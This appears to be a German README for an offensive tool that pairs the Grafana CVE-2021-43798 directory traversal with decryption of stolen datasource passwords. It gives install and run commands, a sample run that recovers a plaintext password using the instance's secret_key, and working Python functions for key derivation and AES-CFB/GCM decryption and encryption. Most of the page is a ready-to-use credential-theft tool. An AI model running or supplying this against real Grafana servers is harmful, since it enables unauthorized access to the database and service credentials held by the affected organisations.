
Entschlüsselt Grafana-DataSource-Passwörter durch Ausnutzung der CVE-2021-43798 Directory Traversal, um Konfigurationsdateien abzurufen und Verschlüsselungsschlüssel abzuleiten.
Dieses Skript entschlüsselt die DataSource-Passwörter aus einer Grafana-Instanz, die für CVE-2021-43798 anfällig ist, was nicht autorisiertes Lesen beliebiger Dateien ermöglicht.
Grafana-Versionen 8.0.0-beta1 bis 8.3.0 sind anfällig für eine Verzeichnis-Traversal-Schwachstelle, die es nicht autorisierten Benutzern ermöglicht, beliebige Dateien auf dem Server zu lesen. Dieses Skript nutzt diese Schwachstelle aus, um die DataSource-Passwörter in der Datei grafana.db mithilfe des in der Konfigurationsdatei grafana.ini gefundenen secret_key zu entschlüsseln.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db und grafana.ini von der Ziel-Grafana-Instanz haben.python decrypt.py
Sie können auch ein Klartext-Passwort mit dem Skript verschlüsseln, indem Sie den Beispielcode im Skript auskommentieren.
Das Skript bestimmt den verwendeten Verschlüsselungsalgorithmus durch Analyse der Nutzlast. Der Standard-Verschlüsselungsalgorithmus ist aes-cfb.
Unter Verwendung des abgeleiteten Verschlüsselungsalgorithmus und des secret_key aus grafana.ini entschlüsselt das Skript das DataSource-Passwort.
Das Skript enthält auch eine Funktion, um ein Klartext-Passwort mit derselben Verschlüsselungsmethode und demselben secret_key zu verschlüsseln.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
Diese Funktionen übernehmen die Entschlüsselungs- und Verschlüsselungsprozesse.
Zögern Sie nicht, Issues oder Pull Requests zu eröffnen, wenn Sie Fehler finden oder Verbesserungsvorschläge haben.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe die Datei LICENSE für Details.